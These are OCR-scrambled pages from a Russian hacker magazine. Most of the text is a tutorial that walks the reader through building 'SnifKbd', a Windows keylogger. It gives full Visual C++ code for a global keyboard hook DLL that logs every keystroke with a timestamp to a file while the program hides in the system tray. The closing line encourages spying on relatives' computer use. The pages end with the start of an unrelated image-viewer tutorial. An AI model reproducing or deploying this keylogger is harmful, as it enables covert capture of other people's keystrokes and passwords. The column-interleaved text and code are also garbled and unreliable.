|
|
|
|
|
Часть первая, или что мы хотим от |
(Сделай это, баба.) |
Этот вариант самый удобный для нас, потому |
||
нашей проги? |
|
|
что нам надо при запуске проги вести диалог с |
|
|
|
|
Перейдем к делу. Запускай Visual C++ и го- |
юзером. Нажми Next и продолжай. В следую- |
Очень полезно знать, что будет делать прог- |
товься к прорыву в сознании - ты начинаешь |
щем окне убери значок ActiveX Controls, чтобы |
||
раммка, перед тем как начать ее кодить. Неп- |
делать реальные проги из воздуха. Заходи в |
не использовать элементы ActiveX. |
|
|
КОНСТРУКТОР |
|
|
|
>СПЕЦВЫПУСК #4 |
004B |
75 |
|
|
АЖ - ПИШЕМ SHIFFER
Снова вызови Properties, но уже для поля ввода, и во вкладке Styles пометь опцию Read-Only (поле только для чтения и не может изменяться юзером). Теперь надо связать поле ввода со строкой, в которой будет храниться отображаемое имя файла. Щелкни правой кнопкой на поле ввода и выбери пункт Class Wizard. Дальше во вкладке Member Variables (переменные члены :) ) нажми кнопку Add Variable... В поле имени, после m_ напиши какое-нибудь слово, например, FileName - получится m_FileName, и это будет имя строки, где будет храниться имя log-
Эти функции тебе вряд ли когда-нибудь понафайла. добятся. В поле ввода задай заголовок главно-
го окошка и жми Finish. Подтвердив намерение создать прогу нажатием OK, ты получишь каркас будущего клавиатурного шпиона. В первую очередь откроется окно с редактором диалого-
вого окна. Сейчас надо нарисовать наш интерфейс. Сначала надо удалить надпись “TODO...” и кнопку OK. Надо просто щелкнуть на них и нажать Del. Затем добавить две кнопки, выбрав иконку с прямоугольником на панели инструментов и нажав мышкой в место, где будет находиться будущая кнопка. Назови одну “Начать”, другую - “Выбор файла”. Чтобы поменять название кнопки, щелкни на нее правой кнопкой и выбери в меню пункт Properties, затем в поле Caption введи название кнопки. Далее надо добавить в диалог поле, где будет отображаться путь к log-файлу. Для этого достаточно просто перетащить иконку “ab|” на панели Controls в желаемое место.
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Теперь, |
когда все элементы интерфейса |
åñ- |
Часть четвертая, или дописываем |
||
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
ть, можно |
задать события, на какие они |
будут |
интерфейс ручками |
|
|
|
|
|
|
|
|
|
реагировать. |
На события будут у нас |
реаги- |
|
|
|
|
|
|
|
|
|
|
ровать только кнопки - на щелканье по ним |
Что надо сделать, если юзер щелкнет кнопку |
||||
|
|
|
|
|
|
|
||||||
|
|
|
|
|
|
|
мышкой. Чтобы добавить обработчики этого |
“Начать”? Во-первых, проверить, задано ли |
||||
|
|
|
|
|
|
|
события, надо щелкнуть на желаемом эле- |
имя файла отчета. Если нет, то ничего не де- |
||||
|
|
|
|
|
|
|
менте правой кнопкой мышки, выбрать пункт |
лать. Во-вторых, спрятать окно и нарисовать в |
||||
|
|
|
|
|
|
|
Events в появившемся окне, нажать кнопку |
tray иконку. В-третьих, запустить ядро из DLL, |
||||
|
|
|
|
|
|
|
Add and Edit. Подробности далее. |
которое ловит клавиатурный ввод. Добавь об- |
||||
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
76 |
004C |
КОНСТРУКТОР |
|
|
>СПЕЦВЫПУСК #4 |
|
|
||||||
|
|
|
|
|
|
|
работчик для кнопки “Начать”, как сказано вы- |
if (fdlgSave.DoModal() == IDOK) |
|
ON_MESSAGE(XWM_NOTIFYICON, OnNotifyIcon) |
|
|||||||||||||||||||||||||
|
|
||||||||||||||||||||||||||||
ше. Сразу, как нажмешь Add and Edit, появится |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||
редактор кода с курсором в месте, где нахо- |
{ |
|
|
|
|
|
|
|
Теперь EXE’ник полностью готов. Осталось |
|
|||||||||||||||||||
|
|
|
|
|
|
|
|
||||||||||||||||||||||
дится сам обработчик. После строчки //TODO |
|
|
|
|
|
|
|
|
только изменить About Box и перерисовать |
||||||||||||||||||||
добавь такой код: |
|
|
|
|
|
SetDlgItemText(IDC _ FILENAME, |
стандартную иконку. Для первого |
íàäî âî |
|
|
|
||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
fdlgSave.GetPathName()); |
|
|
|
|
|
|
|
вкладке Resource, окно проекта в ветке |
Dialog |
||||||||||
if (m_FileName.IsEmpty()) |
|
|
|
|
m_LogFile = fdlgSave.GetPathName(); |
дважды щелкнуть элемент IDD_ABOUTBOX. В |
|||||||||||||||||||||||
{ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
появившемся окне можно добавить текст со |
|||||||||||
|
|
AfxMessageBox(“You |
must |
choose |
a |
} |
|
|
|
|
|
|
|
своим именем и копирайтом. Эта часть работы |
|||||||||||||||
log file before further processing”, |
MB_OK |
| |
|
|
|
|
|
|
|
|
для самых скромных. |
|
|
|
|
|
|
|
|
|
|||||||||
MB_ICONSTOP, 0); |
|
|
|
|
|
Это весь код для второй кнопки. |
|
Компиль прогу (F7) и переходи к следующей |
|
||||||||||||||||||||
|
|
|
|
|
|
|
|||||||||||||||||||||||
|
|
return; |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
} |
|
|
|
|
|
|
|
|
|
Осталась не прописана одна вещь: ответ на |
части. |
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
щелчок юзера в иконке в tray’е. Надо поэтому |
Часть пятая, или делаем DLL-часть |
||||||||||||||||||
Îí |
проверяет, задано |
ëè |
èìÿ |
файла. |
написать обработчик и этого события. Так как |
||||||||||||||||||||||||
m_FileName - это имя, которое ты задал, когда |
он не связан с какими-либо элементами глав- |
проги |
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
добавлял к полю ввода строку. Если имя не за- |
ного окна, добавлять его придется по-другому. |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
дано, то выводится окно сообщения. Сразу ни- |
Сначала надо открыть вкладку ClassView в окне |
Чтобы сварганить DLL’ник, надо создать новый |
|
||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||
же добавь такие строки: |
|
|
|
|
проект. В File->New надо выбрать вкладку |
|
|||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
проекта в левой части экрана. Открыть дерево |
Projects и тип проекта Win32 Dynamic-Link |
|
|
||||||||||||||||
ShowWindow(SW |
_HIDE); |
|
|
|
|
и щелкнуть правой кнопкой на элемент |
Library (10.jpg). Далее назвать проект “Hook”, |
||||||||||||||||||||||
NOTIFYICONDATA |
nid; |
|
|
|
|
|
CxxxxxxDlg, но не CAboutDlg. В выползшем ме- |
так как предполагается, что на выходе будет |
|||||||||||||||||||||
nid.cbSize = |
sizeof(NOTIFYICONDATA); |
|
|
ню выбрать пункт Add Member Function. Поя- |
файл hook.dll. Нажимай OK и в окне визарда |
|
|
||||||||||||||||||||||
|
|
|
|
||||||||||||||||||||||||||
nid.hWnd = |
GetSafeHwnd(); |
|
|
|
|
вится окно, в котором в поле Function Type вве- |
выбери A simple DLL project (11.jpg). Когда |
||||||||||||||||||||||
nid.uID = IDR_ |
MAINFRAME; |
|
|
|
|
äè afx_msg LRESULT, â ïîëå Function Declaration |
проект |
сгенерится, |
понадобится изменить |
|
|
||||||||||||||||||
nid.uFlags = NIF |
_MESSAGE | NIF_ICON | NIF_TIP; |
- OnNotifyIcon(WPARAM |
wParam, |
LPARAM |
файлы hook.cpp и stdafx.h. Вот как они должны |
|
|
||||||||||||||||||||||
nid.uCallbackMessage = XWM_NOTIFYICON; |
|
lParam) (7.jpg). Нажми OK. Появится опять окно |
выглядеть. |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
nid.hIcon = m_hIcon; |
|
|
|
|
|
исходника. После //TODO... напиши код: |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||
lstrcpyn(nid.szTip, “Invoke the SnifKbd main win- |
|
|
|
|
|
|
|
|
Stdafx.h: |
|
|
|
|
|
|
|
|
|
|
|
|||||||||
dow”, 30); |
|
|
|
|
|
|
|
|
UINT uID = (UINT) wParam; |
|
|
|
|
|
|
|
// |
stdafx.h : include file for standard sys- |
|
||||||||||
Shell_NotifyIcon(NIM_ADD, &nid); |
|
|
|
UINT uMsg = (UINT) lParam; |
|
|
|
|
|
|
|
tem include files, |
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
if (uMsg == WM_LBUTTONDOWN) |
|
// |
or project specific include files that are |
||||||||||||||||
Здесь прячется окно и рисуется иконка в tray со |
if (uID == IDR_MAINFRAME) |
|
used frequently, but |
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
всплывающей подсказкой “Invoke the SnifKbd |
{ |
|
|
|
|
|
|
|
// |
are changed infrequently |
|||||||||||||||||||
main window”. Затем напиши: |
|
|
|
|
|
|
|
|
|
|
|
// |
|
|
|
|
|
|
|
|
|
|
|
||||||
hmod = LoadLibrary(“hook.dll”); |
|
|
|
ShowWindow(SW_SHOW); |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||
void (*pInit)(LPCTSTR); |
|
|
|
|
SetFocus(); |
|
|
|
|
|
|
|
# |
|
i |
|
|
|
|
|
f |
||||||||
pInit |
= |
(void |
(*)(LPCTSTR))GetProc- |
NOTIFYICONDATA nid; |
|
!defined(AFX_STDAFX_H__38CA5891_6485_11D4_ |
|||||||||||||||||||||||
Address(hmod, “Init”); |
|
|
|
|
|
nid.cbSize = sizeof(NOTIFYICONDA- |
B8C5_F43705C10A00__INCLUDED_) |
||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
TA); |
|
|
|
|
|
|
|
#define AFX_STDAFX_H__38CA5891_6485_11- |
|
||||||||||
pInit(m_LogFile); |
|
|
|
|
|
nid.hWnd = GetSafeHwnd(); |
|
D4_B8C5_F43705C10A00__INCLUDED_ |
|||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
nid.uID = IDR_MAINFRAME; |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
Непосредственно |
|
перед |
строками void |
Shell_NotifyIcon(NIM_DELETE, &nid); |
#if _MSC_VER > 1000 |
|
|
|
|
|
|
|
|
|
|||||||||||||||
Cxxxxxxx::Onxxxxxxx() и //TODO напиши: |
|
void (*pRelease)(); |
|
#pragma once |
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
|
|
|
|
pRelease |
= |
|
|
|
|
(void |
#endif // _MSC_VER > 1000 |
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
HMODULE hmod; |
|
|
|
|
|
(*)())GetProcAddress(hmod, “Release”); |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
pRelease(); |
|
|
|
|
|
|
|
// Insert your headers here |
|
|
|
|
|
|
|
|
|
||
Только что мы написали обработчик нажатия на |
} |
|
|
|
|
|
|
|
#define WIN32_LEAN_AND_MEAN |
||||||||||||||||||||
кнопку “Начать”. Теперь надо придумать, что |
return 1; |
|
|
|
|
|
|
|
// Exclude rarely-used stuff from Windows headers |
||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
будет делать прога при нажатии на кнопку “вы- |
Этот участок проги выводит главное окно на |
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||||||||
бор файла”. Во-первых, надо показать диалог |
#include <windows.h> |
|
|
|
|
|
|
|
|
|
|||||||||||||||||||
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
сохранения файла под именем. Затем получен- |
экран (6-я, 7-я строчки), убирает значок из tray |
#include <cstdio> |
// Ýòè òðè |
|
|
|
|
|
|
|
|
|
|||||||||||||||||
|
|
|
|
|
|
|
|
|
|||||||||||||||||||||
ное имя скопировать в строку m_FileName и |
(строчки 8-12) и отменяет слежение за клавой |
#include <cstring> |
// |
строки |
íàäî |
|
|
|
|||||||||||||||||||||
|
|
|
|||||||||||||||||||||||||||
отобразить ее в поле ввода. Аналогично добав- |
(строчки 13-15). Чтобы этот обработчик рабо- |
#include <ctime> |
// |
добавить! |
|||||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
ляем обработчик кнопки “выбор файла” и сни- |
тал, найди в открытом файле |
строчку |
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||||||
зу от //TODO... пишем: |
|
|
|
|
BEGIN_MESSAGE_MAP(CxxxxxDlg, CDialog), íî |
// TODO: reference additional headers your pro- |
|||||||||||||||||||||||
|
|
|
|
|
|
|
|
|
|
íå BEGIN_MESSAGE_MAP(CAboutDlg, CDialog), |
gram requires here |
|
|
|
|
|
|
|
|
|
|
||||||||
CFileDialog fdlgSave(FALSE, NULL, “keyb.log”); |
|
и после нее напиши: |
|
|
|
|
|
|
|
//{{AFX_INSERT_LOCATION}} |
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
КОНСТРУКТОР |
|
|
|
>СПЕЦВЫПУСК #4 |
004D |
77 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// Microsoft Visual C++ will insert additional dec- |
|
GetModuleFileName((HINSTANCE) |
|
path.txt”); |
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
larations immediately before the previous line. |
g_hMod, |
lpszPath, 256); |
|
|
FILE* pf = fopen(lpszPath, “w”); |
|
|
|
||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
strcpy(strrchr(lpszPath, ‘\\’) + 1, |
fprintf(pf, “%s\n”, szFile); |
|
|
|
|||||
|
|
|
|
|
#endif // !defined(AFX_STDAFX_H__38- |
“logpath.txt”); |
|
|
|
fclose(pf); |
|
|
|
|
|
|
|||
|
|
|
|
|
CA5891_6485_11D4_B8C5_F43705C10A00__INCL |
|
FILE* pf = fopen(lpszPath, “r”); |
delete[] lpszPath; |
|
|
|
|
|
||||||
|
|
|
|
|
UDED_) |
|
|
fscanf(pf, “%s”, szLogName); |
} |
|
|
|
|
|
|
||||
|
|
|
|
|
Hook.cpp: |
|
|
fclose(pf); |
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
// hook.cpp : Defines the entry point for the DLL |
|
delete[] lpszPath; |
|
|
Сам код, который ведет log нажатых клавиш |
íà- |
|
|
||||||
|
|
|
|
|
application. |
|
|
} |
|
|
ходится в подпрограмме LRESULT CALLBACK |
|
|
||||||
|
|
|
|
|
|
|
|
|
|||||||||||
|
// |
|
|
|
|
pFile = fopen(szLogName, “a+”); |
HookProc (int nCode, WPARAM wParam, LPARAM |
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
time_t timer; |
|
|
lParam). Его можно изменить по твоему жела- |
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
#include “stdafx.h” |
|
|
time(&timer); |
|
|
нию, например - чтоб он печатал, из какой про- |
||||||||
|
|
|
|
|
|
|
|
|
|
char* p = ctime(&timer); |
|
|
ги нажата клавиша. Узнав больше о |
виндах |
è |
|
|
||
|
|
|
|
|
HANDLE g_hMod; |
|
|
p[strlen(p) - 1] = 0; |
|
|
кодинге, можно очень серьезно |
наворотить |
|
|
|||||
|
|
|
|
|
TCHAR szLogName[256]; |
|
|
TCHAR szKeyName[20]; |
|
|
этот код. Сохрани все и скомпиль DLL’ку (F7). |
|
|
||||||
|
|
|
|
|
FILE* pFile; |
|
|
GetKeyNameText(lParam, szKeyName, |
Готовый файл hook.dll надо переписать в один |
|
|
||||||||
|
|
|
|
|
HHOOK hhookKbd; |
|
19); |
|
|
|
каталог с EXE’шником, и теперь прогой можно |
|
|
||||||
|
|
|
|
|
|
|
|
|
|
for (int i = 0; i < (lParam & |
|
|
пользоваться. |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
BOOL APIENTRY DllMain( |
HANDLE hModule, |
0x0000FFFF); i++) |
|
|
Часть шестая, или если ничего |
íå |
|
|
||||||
|
|
|
|
|
DWORD ul_reason_for_call, LPVOID lpReserved ) |
|
fprintf(pFile, “%s - key: %s\n”, |
p, |
|
|
|||||||||
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
szKeyName); |
|
|
|
получается |
|
|
|
|
|
|
|
{ |
|
|
Õîòÿ ýòà |
программа и |
неслож- |
|
|
|
|
|
|
|||||||
|
|
|
|
|
hModule; |
g_hMod = |
Хотя эта программа и |
íåñ- |
|
|
|||||||||
|
|
|
|
|
|||||||||||||||
|
|
|
|
|
|
ная, она все же не для нович- |
ложная, она все же не |
äëÿ |
|
|
|||||||||
|
|
|
|
|
|
|
return TRUE; |
новичка. Возможно, |
÷òî |
|
|
||||||||
|
|
|
|
|
|
|
ка. Возможно, что прога сразу |
|
|
||||||||||
|
|
|
|
|
} |
|
|
прога сразу не скомпилит- |
|
|
|||||||||
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
extern “C” { |
не скомпилится или не зара- |
ся или не заработает, а |
|
|
||||||||||
|
|
|
|
|
ботает, а может просто пове- |
может просто повесит ма- |
|
|
|||||||||||
|
|
|
|
|
|
|
__declspec(dll- |
|
|
|
|
|
|
шину. Подожди, не беги за |
|
|
|||
|
|
|
|
|
export) void Release(); |
сит машину. Подожди, не беги |
бутылкой. Посмотри, пра- |
|
|
||||||||||
|
|
|
|
|
|
|
__declspec(dll- |
за бутылкой. Посмотри, пра- |
вильно ли ты все сделал и |
|
|
||||||||
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
export) LRESULT CALLBACK |
вильно ли ты все сделал и |
переписал. |
Помни, что |
|
|
|||||||||
|
|
|
|
|
HookProc(int nCode, |
переписал. Помни, что заглав- |
заглавные |
и прописные |
|
|
|||||||||
|
|
|
|
|
WPARAM wParam, LPARAM |
буквы тоже различаются. |
|
|
|||||||||||
|
|
|
|
|
lParam); |
ные и прописные буквы тоже |
Если ничего не помогает |
|
|
||||||||||
|
|
|
|
|
|
|
__declspec(dll- |
совсем, то |
можно залить |
|
|
||||||||
|
|
|
|
|
export) void Init(LPCTSTR |
различаются. Если ничего не |
себе образец проги на |
|
|
||||||||||
|
|
|
|
|
szFile); |
помогает совсем, то можно |
сайте Х. Он называется |
|
|
||||||||||
|
|
|
|
|
}; |
|
|
залить себе образец проги |
SnifKbd. |
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
|
|
void Release() |
на сайте Х. Он называется |
Окончание, или если |
|
|
||||||||||
|
|
|
|
|
{ |
|
|
SnifKbd. |
|
|
|
все получилось :) |
|
|
|||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Теперь в твоей коллекции |
|
|
|||
|
|
|
|
|
UnhookWindowsHookEx(hhookKbd); |
|
fclose(pFile); |
|
|
очень полезный софт под мастдай, причем |
|
|
|||||||
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
} |
|
|
|
} |
|
|
собственного приготовления. Если много ве- |
|
|
|||||
|
|
|
|
|
|
|
|
|
|
return CallNextHookEx(hhookKbd, |
щей тебе остались непонятными, но заинтере- |
|
|
||||||
|
|
|
|
|
LRESULT CALLBACK HookProc(int nCode, |
nCode, wParam, lParam); |
|
|
совали тебя, то пора изучать и C++, и кодинг |
|
|
||||||||
|
|
|
|
|
|
|
|
||||||||||||
|
|
|
|
|
WPARAM wParam, LPARAM lParam) |
} |
|
|
|
под Windows. Есть масса книжек по этому пово- |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
void Init(LPCTSTR szFile) |
|
|
ду и куча инфы в Инете. Очень пригодился бы |
|||||||
|
|
|
|
|
{ |
|
|
|
{ |
|
|
|
òåáå äèñê ñ Microsoft Developer Network |
||||||
|
|
|
|
|
|
|
|
|
|
hhookKbd |
= |
(MSDN), где есть абсолютно вся справка по |
|||||||
|
|
|
|
|
|
|
if (nCode == HC_ACTION && !(lParam |
SetWindowsHookEx(WH_KEYBOARD, |
HookProc, |
любой теме, что взбредет в голову. Без него не |
|||||||||
|
|
|
|
|
|
|
|||||||||||||
|
|
|
|
|
& 0x80000000)) |
|
(HINSTANCE) g_hMod, 0); |
|
|
было бы и этой статьи. Может уже через полго- |
|||||||||
|
|
|
|
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
{ |
|
|
LPTSTR lpszPath = new TCHAR[256]; |
да ты начнешь делать такие финты на компе, |
||||||||||
|
|
|
|
|
|
|
if (!(*szLogName)) |
|
|
GetModuleFileName((HINSTANCE) |
какие самому Б.Г. не снились. А пока - пока, |
||||||||
|
|
|
|
|
{ |
|
g_hMod, lpszPath, 256); |
|
|
удачно тебе узнать, что делают твои родствен- |
|||||||||
|
|
|
|
|
|
|
LPTSTR lpszPath = new TCHAR[256]; |
|
strcpy(strrchr(lpszPath, ‘\\’) + 1, “log- |
ники за машиной. |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
78 |
004E |
КОНСТРУКТОР |
|
>СПЕЦВЫПУСК #4 |
||||
СМОТРЕЛКА - |
||||||||
ДОМАШНИХ УСЛ |
||||||||
Unforgiven(unfogi@sanet.ru, 60818116) |
|
|
||||||
Что куда коннектится |
|
|
|
Вернемся к реальности. Билдер запущен. Что |
Давай дело делать |
|||
|
|
|
|
|
ты видишь? Ты видишь три панельки. Верхняя |
|
|
|
Дарова, перец. Вот сидишь ты сейчас, навер- |
- там различные кнопки и меню. Она, в прин- |
Начнем с менюшки :-). Находишь компонент под |
||||||
ное, за компом, читаешь Х, смотришь картинки. |
ципе, самая главная. |
названием MainMenu - он находится в закладке |
||||||
А вот на компе у тебя наверняка для этого дела |
|
|
Standard (второй слева). Как, ты до сих пор не |
|||||
- для разглядывания картинок - ACDSee стоит. И |
Левая панель - Object Inspector. Тут ты будешь |
видишь эту закладку? Не видишь... тогда попро- |
||||||
тыкаешь ты в нее, смотришь порнушку втиха- |
задавать свойства всех компонентов и будешь |
буй включить монитор. Так вот: кликаешь на |
||||||
ря... Ну ладно, речь-то сейчас не о порнушке. Я |
объяснять им, как работать. Об этом, впрочем, |
этой пиктограмме, потом ползешь на свою фор- |
||||||
тебе о другом говорю. Давай напишем свою |
чуть-чуть попозже. И еще ты видишь огромную |
му и кидаешь менюху в любое место (она все |
||||||
прогу для просмотра картинок! Прикинь, приво- |
панель, которая вся усыпана точками. Не пу- |
равно будет на самом верху :-)). Теперь даб- |
||||||
дишь ты к себе подругу, садитесь с ней вместе |
гайся. Это сделано специально, чтобы тебе |
лкликаешь на пиктограмме, которая на форме |
||||||
подозрительные имейджи смотреть, и тут ты как |
было легче размещать компоненты и не приш- |
уже лежит - вот, ты видишь новую форму, но |
||||||
бы случайно тыкаешь мышкой в графу “credits” |
лось бегать с линейкой, меряя свой пятнадца- |
уже без точек. Называться она должна пример- |
||||||
или, там, “разработчик”, а в этой графе - ТВОЕ |
тидюймовый (хе-хе, монитор :-)). Именно эта |
но так: “Form1->MainMenu1”. Здесь ты и бу- |
||||||
имя. И ты подружке спокойно так выдаешь: “...а, |
форма - в точечку - будет основой твоей новой |
дешь писать свою первую в жизни пользова- |
||||||
это меня тут Билл Гейтс, когда мою прогу уви- |
супер-хакер-крякер проги под названием Вью- |
тельскую менюшку. Слева ты прописываешь в |
||||||
дел, приглашал к себе работать - я не пошел, |
вер :-). Сверху ты видишь кучу кнопок - это |
свойстве Caption название меню. Стандартно |
||||||
лучше буду писать компоненты для 1С...”. По- |
компоненты (ну, пимпы, меню, панельки, точ- |
пишем “Файл”, а если ты хочешь быстро обра- |
||||||
верь, после этакой тирады дама - какая бы она |
ки) - вот тебе и визуальная среда. Тебе не на- |
щаться к этому пункту, то подставь в названии |
||||||
ни была крутая - твоя! И уж что с ней делать |
до описывать самому каждую деталь програм- |
еще символ “&” ( получится “&Файл”), и тогда |
||||||
дальше, я тебе не подскажу. Сам |
|
|
|
|
|
при нажатии Alt+Ф (ф - первая |
||
разберешься, что куда коннектит- |
ACDSee - отличная |
|
буква слова Файл :)) ты увидишь, |
|||||
ñÿ :). |
|
|
программа, но ее тоже |
как на этой маленькой панельке |
||||
|
|
|
появилось меню “Файл” - это ты |
|||||
Ну ладно, замечтались. Вернемся |
написали. Причем тоже |
его сделал! Кликаешь на нем, и |
||||||
к нашим баранам. Писать будем |
живые люди и тоже |
|
выскакивает подменю - вот имен- |
|||||
на С++ Builder - несложно, ви- |
|
но им-то мы сейчас и займемся. |
||||||
зуально - все как положено. |
голыми руками. А тебе |
Ты кликаешь на этом подменю и |
||||||
Поэтому срочно беги к ближай- |
слабо? Просто открой |
точно так же, в свойстве Caption, |
||||||
шим представителям одноглазой |
эту статью, садись |
|
пишешь название “&Открыть” - |
|||||
расы в тельняшках, покупай там у |
|
теперь ты уже видишь готовое |
||||||
них Builder C++ (чем свежее - тем |
çà |
êîìï |
и... вперед! |
|
подменю с одним пунктом, но на |
|||
лучше), и, если хватит средств, то |
|
|
|
|
|
этом мы не остановимся. Точно |
||
можешь прихватить какую-нибудь |
|
|
|
|
|
так же ты прописываешь в подме- |
||
книженцию по программировании на C++ - на |
мы - ты кликаешь на пиктограмме (во загнул - |
ню “Файл” еще два пункта - “&Закрыть” (не за- |
||||||
будущее. RTFM - было, есть и будет главным |
ну, на кнопке с картинкой, в общем) и потом |
будь, каждая твоя прога должна классно выгля- |
||||||
правилом любого кодера. |
|
|
|
кликаешь на этой форме, которая в точечку. И |
деть... поэтому впиши в следующем пункте |
|||
Небо в клеточку - друзья в полосочку |
что получается? Правильно, в твоей програм- |
просто черточку (-) и ты увидишь, что произой- |
||||||
ме появился новый компонент. Теперь надо |
дет) и “&Выйти”. Вот мы и описали систему ме- |
|||||||
|
|
|
|
|
описать основные свойства компонента (дли- |
нюшек - создали, так сказать, базу интерфейса. |
||
Ты уже наверняка запустил C++ Buider и ничего |
на, ширина, название, отпечатки пальцев и |
Теперь ты находишь в закладке Dialogs компо- |
||||||
не понял... какая-то панелька в точечках и куча |
др.) и, наконец, - самое главное - нужно опи- |
нент “OpenPictureDialog”, по старой технологии |
||||||
кнопок. Главное в нашем деле - не бояться, а |
сать действие объекта на какое-либо событие |
кликаешь на нем и кидаешь на форму. Ты уже |
||||||
смело на все жать и испытывать... эээ, погоди |
(например, на клик, на двойной клик, на пере- |
заметил, что на твоей главной форме появилось |
||||||
ты. Начнем вот с чего: представим себе нашу |
мещение мышки етс). Причем, если вся ви- |
то меню, которое ты только что написал? Оно |
||||||
прогу. Она должна уметь просматривать BMP, |
зуальная среда понятна и ламеру - везде надо |
уже вполне работает, осталось только описать |
||||||
EMF, ICO и иже с ними стандартные виндовые |
лишь кликать и выбирать, то описывать собы- |
его действия. Ты кликаешь на пунктах подменю |
||||||
файлы графических изображений. Представил? |
тия тебе придется на чистом программерском |
и описываешь действия, связанные с этими пун- |
||||||
Ну, стандартные такие виндовые менюшки, |
языке С++. Вот, с визуальной средой ты уже и |
ктами. Например, в подменю “Открыть”, после |
||||||
окошко... Вот и ладушки. |
|
|
|
знаком :-). |
|
даблклика, ты увидишь, как выскочит что-то ти- |